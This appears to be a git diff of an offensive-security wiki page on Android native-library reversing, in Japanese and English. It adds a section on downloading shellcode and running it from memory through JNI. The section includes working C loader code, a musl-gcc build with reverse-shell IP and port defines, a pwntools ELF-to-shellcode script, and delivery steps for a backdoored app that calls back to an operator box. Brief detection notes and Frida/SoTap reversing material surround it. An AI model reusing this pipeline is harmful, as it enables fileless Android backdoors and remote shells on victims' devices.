C JNI 側 (arm64/amd64)
|
||||
```c
|
||||
#include <jni.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static inline void flush_icache(void *p, size_t len) {
|
||||
__builtin___clear_cache((char*)p, (char*)p + len);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL
|
||||
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
|
||||
jsize len = (*env)->GetArrayLength(env, sc);
|
||||
if (len <= 0) return -1;
|
||||
|
||||
// RW anonymous buffer
|
||||
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (buf == MAP_FAILED) return -2;
|
||||
|
||||
jboolean isCopy = 0;
|
||||
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
|
||||
if (!bytes) { munmap(buf, len); return -3; }
|
||||
|
||||
memcpy(buf, bytes, len);
|
||||
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
|
||||
|
||||
// Make RX and execute
|
||||
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
|
||||
flush_icache(buf, len);
|
||||
|
||||
int (*entry)(void) = (int (*)(void))buf;
|
||||
int ret = entry();
|
||||
|
||||
// Optional: restore RW and wipe
|
||||
mprotect(buf, len, PROT_READ | PROT_WRITE);
|
||||
memset(buf, 0, len);
|
||||
munmap(buf, len);
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
注意事項と留意点
|
||||
- W^X/execmem: Modern Android は W^X を強制します; anonymous PROT_EXEC mappings は JIT を持つアプリプロセスで一般に許可されています(SELinux policy に依存)。一部のデバイス/ROM はこれを制限するため、必要に応じて JIT-allocated exec pools や native bridges にフォールバックしてください。
|
||||
- Architectures: shellcode のアーキテクチャがデバイスと一致していることを確認してください(一般的には arm64-v8a; x86 はエミュレータのみ)。
|
||||
- Entrypoint contract: shellcode のエントリに対する規約を決めてください(no args vs structure pointer)。position-independent (PIC) にしておくこと。
|
||||
- Stability: ジャンプする前に命令キャッシュをクリアしてください; mismatched cache は ARM でクラッシュを引き起こす可能性があります。
|
||||
|
||||
Packaging ELF → position‑independent shellcode
|
||||
A robust operator pipeline is to:
|
||||
- Build your exploit as a static ELF with musl-gcc
|
||||
- Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append
|
||||
|
||||
Build
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
ELF を生の shellcode に変換する(amd64 の例)
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
loader = shellcraft.loader_append(elf.data, arch='amd64')
|
||||
sc = asm(loader)
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
|
||||
```
|
||||
loader_append が動作する理由: 小さなローダを生成し、組み込まれた ELF プログラムセグメントをメモリにマップしてエントリポイントに制御を移すことで、アプリが memcpy して実行できる単一の raw ブロブを提供する。
|
||||
|
||||
配信
|
||||
- sc を自分が管理する HTTP(S) サーバでホストする
|
||||
- バックドア/テストアプリが sc をダウンロードし、上記の JNI ブリッジを呼び出す
|
||||
- operator ボックスで、kernel/user-mode payload が確立するリバース接続を待ち受ける
|
||||
|
||||
カーネルペイロードの検証ワークフロー
|
||||
- 高速なリバース/オフセット復元のために symbolized vmlinux を使用する
|
||||
- 可能なら扱いやすい debug イメージ上でプリミティブをプロトタイプ化するが、必ず実機の Android ターゲット上で再検証する(kallsyms、KASLR slide、ページテーブルレイアウト、そして緩和策が異なる)
|
||||
|
||||
ハードニング/検出 (blue team)
|
||||
- 可能な限りアプリドメインで anonymous PROT_EXEC を禁止する(SELinux policy)
|
||||
- 厳格なコード整合性を強制する(ネットワーク経由の動的なネイティブ読み込みを禁止)およびアップデートチャネルを検証する
|
||||
- RX への mmap/mprotect の怪しい遷移や、ジャンプに先立つ大きなバイト配列のコピーを監視する
|
||||
|
||||
References
|
||||
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
|
||||
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
|
||||
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
|
||||
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
|
||||
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -3,14 +3,14 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**詳細情報:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
**詳細は次を参照してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Androidアプリは通常CやC++で書かれたネイティブライブラリを性能が重要な処理に使用します。マルウェア作成者もこれらのライブラリを悪用します。なぜならELF共有オブジェクトはDEX/OATバイトコードよりも逆コンパイルが依然として難しいためです。
|
||||
このページは、Android `.so` ファイルのリバースを容易にする*実用的*なワークフローと*最近の*ツール改善(2023–2025)に焦点を当てています。
|
||||
Androidアプリは、通常CやC++で書かれたネイティブライブラリをパフォーマンスが重要な処理に使います。マルウェア作成者もこれらのライブラリを悪用します。なぜなら、ELF shared objectsはDEX/OATバイトコードよりもまだデコンパイルが難しいからです。
|
||||
本ページは、Androidの`.so`ファイルのリバースを容易にする、*実践的な*ワークフローと*最近の*ツール改善(2023–2025)に焦点を当てています。
|
||||
|
||||
---
|
||||
|
||||
### 新たに取得した `libfoo.so` のための簡易トリアージワークフロー
|
||||
### 新たに取得した `libfoo.so` のクイックトリアージワークフロー
|
||||
|
||||
1. **ライブラリを抽出する**
|
||||
```bash
|
||||
@ -19,32 +19,32 @@ adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
|
||||
# Or from the APK (zip)
|
||||
unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
|
||||
```
|
||||
2. **アーキテクチャと保護設定を確認**
|
||||
2. **アーキテクチャと保護を特定する**
|
||||
```bash
|
||||
file libfoo.so # arm64 or arm32 / x86
|
||||
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
|
||||
checksec --file libfoo.so # (peda/pwntools)
|
||||
```
|
||||
3. **エクスポートされたシンボルとJNIバインディングの一覧**
|
||||
3. **エクスポートされたシンボルとJNIバインディングを列挙する**
|
||||
```bash
|
||||
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
|
||||
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
|
||||
```
|
||||
4. **デコンパイラで読み込む** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) と自動解析を実行。
|
||||
新しいGhidraバージョンはAArch64デコンパイラを導入し、PAC/BTIスタブやMTEタグを認識するため、Android 14 NDKでビルドされたライブラリの解析が大幅に改善されています。
|
||||
5. **静的解析と動的解析を選定:** ストリップされ難読化されたコードはしばしば *instrumentation*(Frida, ptrace/gdbserver, LLDB)が必要になります。
|
||||
4. **デコンパイラにロードする** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) そして自動解析を実行する。
|
||||
新しいGhidraはAArch64のデコンパイラを導入し、PAC/BTIスタブやMTEタグを認識するようになったため、Android 14 NDKでビルドされたライブラリの解析が大幅に改善されました。
|
||||
5. **静的解析か動的解析かを決める:** ストリップ済みや難読化されたコードはしばしば*instrumentation*(Frida、ptrace/gdbserver、LLDB)が必要になります。
|
||||
|
||||
---
|
||||
|
||||
### Dynamic Instrumentation (Frida ≥ 16)
|
||||
|
||||
Fridaの16系列は、ターゲットが最新のClang/LLD最適化を使用している場合に役立つ、いくつかのAndroid特有の改善をもたらしました:
|
||||
Fridaの16シリーズは、ターゲットが最新のClang/LLD最適化を使っている場合に役立ついくつかのAndroid固有の改善をもたらしました:
|
||||
|
||||
* `thumb-relocator` は、LLDの積極的なアラインメント(`--icf=all`)で生成される小さな ARM/Thumb 関数を hook できるようになりました。
|
||||
* Android上で*ELF import slots*の列挙と再バインドが動作するようになり、inline hooksが拒否された場合にモジュール単位での `dlopen()`/`dlsym()` パッチ適用が可能になりました。
|
||||
* Android 14で `--enable-optimizations` 付きでコンパイルされたアプリが使用する新しい **ART quick-entrypoint** に対する Java hooking が修正されました。
|
||||
* `thumb-relocator`は、LLDの積極的なアラインメント(`--icf=all`)で生成される小さなARM/Thumb関数に対して*フック*できるようになりました。
|
||||
* ELFのimportスロットを列挙してリバインドする機能がAndroid上で動作するようになり、inline hooksが拒否された場合でもモジュール単位での`dlopen()`/`dlsym()`パッチが可能になりました。
|
||||
* Javaフッキングは、Android 14で`--enable-optimizations`付きでコンパイルされたアプリが使う新しい**ART quick-entrypoint**に対して修正されました。
|
||||
|
||||
例: `RegisterNatives` を通じて登録されたすべての関数を列挙し、実行時にそのアドレスをダンプする:
|
||||
Example: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var Runtime = Java.use('java.lang.Runtime');
|
||||
@ -61,19 +61,19 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
|
||||
});
|
||||
});
|
||||
```
|
||||
Fridaは、PAC/BTI-enabledデバイス(Pixel 8/Android 14+)で、frida-server 16.2以降を使用すればそのまま動作します — それ以前のバージョンはinline hooks用のパディングを検出できませんでした。
|
||||
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
|
||||
|
||||
### Process-local JNI telemetry via preloaded .so (SoTap)
|
||||
### プロセスローカルなJNIテレメトリ via preloaded .so (SoTap)
|
||||
|
||||
フル機能のinstrumentationが過剰だったりブロックされている場合でも、ターゲットプロセス内に小さなロガーを事前ロードすることでネイティブレベルの可視性を得られます。SoTapは軽量なAndroidネイティブ(.so)ライブラリで、同一アプリプロセス内の他のJNI(.so)ライブラリの実行時挙動をログに記録します(root不要)。
|
||||
フル機能のインストゥルメンテーションが過剰だったりブロックされている場合でも、ターゲットプロセス内に小さなロガーを事前ロードすることでネイティブレベルの可視性を得られます。SoTapは、同じアプリプロセス内の他のJNI (.so)ライブラリの実行時挙動をログする軽量のAndroidネイティブ(.so)ライブラリです(root不要)。
|
||||
|
||||
Key properties:
|
||||
- Initializes early and observes JNI/native interactions inside the process that loads it.
|
||||
- Persists logs using multiple writable paths with graceful fallback to Logcat when storage is restricted.
|
||||
- 早期に初期化され、それをロードしたプロセス内のJNI/nativeのやり取りを監視します。
|
||||
- 複数の書き込み可能パスにログを保存し、ストレージが制限されている場合はLogcatにフォールバックします。
|
||||
- Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI.
|
||||
|
||||
Setup (repack the APK):
|
||||
1) ローダーがlibsotap.soを解決できるよう、適切なABIビルドをAPKに入れる:
|
||||
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
|
||||
- lib/arm64-v8a/libsotap.so (for arm64)
|
||||
- lib/armeabi-v7a/libsotap.so (for arm32)
|
||||
2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example:
|
||||
@ -92,45 +92,56 @@ Log paths (checked in order):
|
||||
# If all fail: fallback to Logcat only
|
||||
```
|
||||
Notes and troubleshooting:
|
||||
- ABI アラインメントは必須です。ミスマッチがあると UnsatisfiedLinkError が発生し、logger はロードされません。
|
||||
- 近年の Android ではストレージ制約が一般的です。ファイル書き込みが失敗しても、SoTap は Logcat 経由で出力します。
|
||||
- 動作や冗長度はカスタマイズを想定しています。編集後はソースから再ビルドしてください(sotap.c を編集した場合)。
|
||||
- ABI の整合は必須です。不一致があると UnsatisfiedLinkError が発生し、ロガーはロードされません。
|
||||
- ストレージ制約は近年の Android では一般的です。ファイル書き込みが失敗しても SoTap は Logcat 経由で出力します。
|
||||
- 動作や冗長度はカスタマイズを意図しています。sotap.c を編集したらソースから再ビルドしてください。
|
||||
|
||||
この手法は、プロセス開始時点からネイティブ呼び出しフローを観察することが重要で、root / system-wide hooks が使えない状況での malware トリアージや JNI デバッグに有用です。
|
||||
この手法は、プロセス開始時からのネイティブ呼び出しフローを観察することが重要で、root やシステム全体のフックが使えない場合のマルウェアトリアージや JNI デバッグに有用です。
|
||||
|
||||
---
|
||||
|
||||
### Recent vulnerabilities worth hunting for in APKs
|
||||
### 参照: in‑memory native code execution via JNI
|
||||
|
||||
| Year | CVE | Affected library | Notes |
|
||||
一般的な攻撃パターンとして、ランタイムで生の shellcode blob をダウンロードし、JNI ブリッジ経由でメモリから直接実行する(ディスク上に ELF を置かない)という手法があります。詳細と使える JNI スニペットはこちら:
|
||||
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
### APK 内で探すべき最近の脆弱性
|
||||
|
||||
| 年 | CVE | 影響ライブラリ | 備考 |
|
||||
|------|-----|------------------|-------|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|WebP 画像をデコードするネイティブコードから到達可能なヒープバッファオーバーフロー。複数の Android アプリが脆弱なバージョンをバンドルしています。APK 内に `libwebp.so` を見つけたら、そのバージョンを確認し、エクスプロイトまたはパッチの検討を行ってください.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|複数のメモリ安全性やパディングオラクル関連の問題。多くの Flutter & ReactNative バンドルは独自の `libcrypto.so` を同梱しています。|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|WebP 画像をデコードするネイティブコードから到達可能な heap buffer overflow。複数の Android アプリが脆弱なバージョンをバンドルしています。APK 内に `libwebp.so` を見つけたら、そのバージョンを確認し、エクスプロイトやパッチ適用を試みてください.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|複数のメモリ安全性やパディングオラクルの問題。多くの Flutter & ReactNative バンドルは独自の `libcrypto.so` を同梱しています。|
|
||||
|
||||
APK 内にサードパーティの `.so` ファイルを見つけたら、必ず上流のアドバイザリとハッシュを突き合わせて確認してください。SCA (Software Composition Analysis) はモバイルでは普及しておらず、古い脆弱なビルドが横行しています。
|
||||
APK 内で *third-party* の `.so` ファイルを見つけたら、常に upstream のアドバイザリとハッシュを突き合わせてください。SCA (Software Composition Analysis) はモバイルではあまり行われていないため、古い脆弱なビルドが横行しています。
|
||||
|
||||
---
|
||||
|
||||
### Anti-Reversing & Hardening trends (Android 13-15)
|
||||
|
||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 は対応する ARMv8.3+ シリコン上でシステムライブラリに対して PAC/BTI を有効にします。Decompiler は PAC 関連の疑似命令を表示するようになりました。動的解析では Frida が PAC を剥がした後でトランポリンを挿入しますが、カスタムトランポリンは必要に応じて `pacda`/`autibsp` を呼び出すべきです。
|
||||
* **MTE & Scudo hardened allocator:** メモリタグ付けはオプトインですが、多くの Play-Integrity 対応アプリは `-fsanitize=memtag` でビルドしています。タグ違反を取得するには `setprop arm64.memtag.dump 1` と `adb shell am start ...` を組み合わせてください。
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** 商用パッカー(例: Bangcle、SecNeo)はネイティブコードも保護対象にすることが増えています。疑似的なコントロールフローや `.rodata` 内の暗号化された文字列ブロブに注意してください。
|
||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 はサポートされる ARMv8.3+ シリコン上でシステムライブラリに PAC/BTI を有効にします。Decompiler は PAC 関連の疑似命令を表示するようになりました。動的解析では Frida が PAC を剥がした後にトランポリンを注入しますが、カスタムトランポリンは必要に応じて `pacda`/`autibsp` を呼ぶべきです。
|
||||
* **MTE & Scudo hardened allocator:** memory-tagging はオプトインですが、多くの Play-Integrity 対応アプリは `-fsanitize=memtag` でビルドしています。タグフォールトをキャプチャするには `setprop arm64.memtag.dump 1` と `adb shell am start ...` を併用してください。
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** 商用パッカー(例:Bangcle、SecNeo)は Java のみならず *native* コードを保護することが増えています。`.rodata` 内に偽の制御フローや暗号化された文字列ブロブが存在することを想定してください。
|
||||
|
||||
---
|
||||
|
||||
### Resources
|
||||
### リソース
|
||||
|
||||
- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
|
||||
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
|
||||
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### References
|
||||
### 参考
|
||||
|
||||
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user